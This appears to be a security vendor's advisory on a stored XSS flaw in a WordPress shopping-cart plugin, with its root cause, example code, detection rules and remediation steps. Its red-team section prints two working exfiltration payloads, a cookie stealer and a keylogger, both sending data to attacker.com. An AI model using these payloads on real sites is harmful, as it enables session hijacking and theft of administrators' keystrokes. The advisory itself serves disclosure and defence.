CVE-2024-11140

Executive Summary

CVE-2024-11140 is a Stored Cross-Site Scripting (XSS) vulnerability in the Real WP Shop Lite Ajax eCommerce Shopping Cart WordPress plugin, affecting versions up to and including 2.0.8. The plugin fails to sanitize and escape certain settings, allowing high-privilege users (e.g., administrators) to inject malicious scripts that execute in the context of other admin users. This is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is typically disallowed, yet the vulnerability bypasses this restriction.

The vulnerability has a CVSS v3.1 base score of 3.5 (Low), but its impact is amplified in shared hosting or multisite environments where a compromised admin account can lead to persistent backdoors, credential theft, or site defacement. No public proof-of-concept (PoC) or exploit code is available at this time, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. Users are advised to remove or replace the plugin immediately, as no patch is forthcoming. The plugin is not available via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): High (H) – Attacker must have admin-level access.
• User Interaction (UI): Required (R) – Victim admin must view the malicious settings page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Low (CVSS 3.5) but elevated in multisite contexts due to privilege escalation potential.

Deep Dive & Mechanics

The vulnerability resides in the plugin's settings page, where user-supplied input is stored without proper sanitization or output escaping. When an admin saves a setting containing malicious JavaScript, the payload is stored in the WordPress options table. Upon subsequent page loads, the unsanitized value is rendered directly into the HTML, executing the script in the victim's browser.

Key technical details:

• Affected component: Plugin settings page (likely admin.php?page=real-wp-shop-lite-settings).
• Root cause: Use of update_option() without sanitization and echo without esc_html() or wp_kses().
• Bypass: Even with unfiltered_html disallowed, the plugin's custom handling fails to enforce WordPress core's content security filters.

Attack flow:

1. Attacker gains admin credentials (via phishing, weak passwords, or other means).
2. Attacker navigates to the plugin settings and injects a payload like <script>alert('XSS')</script> into a vulnerable field.
3. The payload is stored and executed when any admin (including the site owner) views the settings page.
4. The attacker can then steal cookies, perform actions on behalf of the victim, or deploy further malware.

Vulnerable vs. Patched Code

Vulnerable code (example from plugin version 2.0.8):

// In admin settings page
$option_value = get_option('rwpsl_custom_css');
echo '<textarea name="rwpsl_custom_css">' . $option_value . '</textarea>';

Patched code (hypothetical fix):

$option_value = get_option('rwpsl_custom_css');
$safe_value = esc_textarea($option_value);
echo '<textarea name="rwpsl_custom_css">' . $safe_value . '</textarea>';

The vulnerable code directly outputs the stored value without escaping, while the patched version uses esc_textarea() to neutralize HTML/JavaScript. Additionally, sanitize_text_field() should be applied on save.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress admin credentials (e.g., admin:password123).
• Real WP Shop Lite plugin version 2.0.8 installed and activated.

Steps:

1. Log in to WordPress admin panel.
2. Navigate to Real WP Shop Lite → Settings.
3. Locate a text field (e.g., "Custom CSS" or "Footer Text").
4. Inject the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

5. Click Save Changes.
6. When another admin visits the same settings page, the script executes, exfiltrating their session cookie.

Alternative payload (keylogger):

<script>
document.onkeypress = function(e) {
    fetch('https://attacker.com/keylog?key=' + e.key);
};
</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual admin login patterns (e.g., logins from unexpected IPs).
• Check WordPress options table for suspicious entries:

  SELECT * FROM wp_options WHERE option_name LIKE '%rwpsl%' AND option_value LIKE '%<script%';
  

• Review server access logs for requests to /wp-admin/admin.php?page=real-wp-shop-lite-settings.

Mitigation:

• Immediately disable or remove the plugin.
• If removal is not possible, apply a Web Application Firewall (WAF) rule to block <script> tags in plugin settings fields.
• Reset all admin passwords and enforce strong password policies.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/real-wp-shop-lite/ (entire plugin directory)
• Database: wp_options table entries containing rwpsl_ prefix with embedded <script> tags.
• Network: Outbound HTTP requests to attacker-controlled domains from admin pages.
• Logs: Repeated access to /wp-admin/admin.php?page=real-wp-shop-lite-settings from a single IP.

Detection Engineering

YARA Rule

rule CVE_2024_11140_WordPress_Plugin_XSS {
    meta:
        description = "Detects Real WP Shop Lite plugin files with potential XSS payloads"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11140"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_path = "real-wp-shop-lite"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: CVE-2024-11140 - Stored XSS in Real WP Shop Lite Plugin
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in WordPress options table for Real WP Shop Lite plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        option_name|startswith: 'rwpsl_'
        option_value|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in plugin settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-11140 - Stored XSS Payload Exfiltration";
    flow:to_server,established;
    content:"/wp-admin/admin.php"; http_uri;
    content:"page=real-wp-shop-lite-settings"; http_uri;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-11140;
)

Remediation & Mitigation

Immediate actions:

1. Disable the plugin – Navigate to Plugins → Installed Plugins, find "Real WP Shop Lite", and click Deactivate.
2. Remove the plugin – After deactivation, delete the plugin entirely to prevent re-enablement.
3. Scan for compromise – Use a security plugin (e.g., Wordfence) to scan for injected scripts in the database.
4. Reset admin credentials – Change all admin passwords and revoke any suspicious sessions.

Long-term measures:

• Replace the plugin with an actively maintained alternative (e.g., WooCommerce).
• Implement a Web Application Firewall (WAF) with XSS protection rules.
• Enforce the principle of least privilege – limit admin accounts to only necessary users.
• Regularly audit plugins for vulnerabilities using tools like WPScan.

Patch status: No official patch is available. The vendor has not responded to disclosure attempts. Users must remove the plugin to mitigate risk.

Valters IT – Securing Digital Frontiers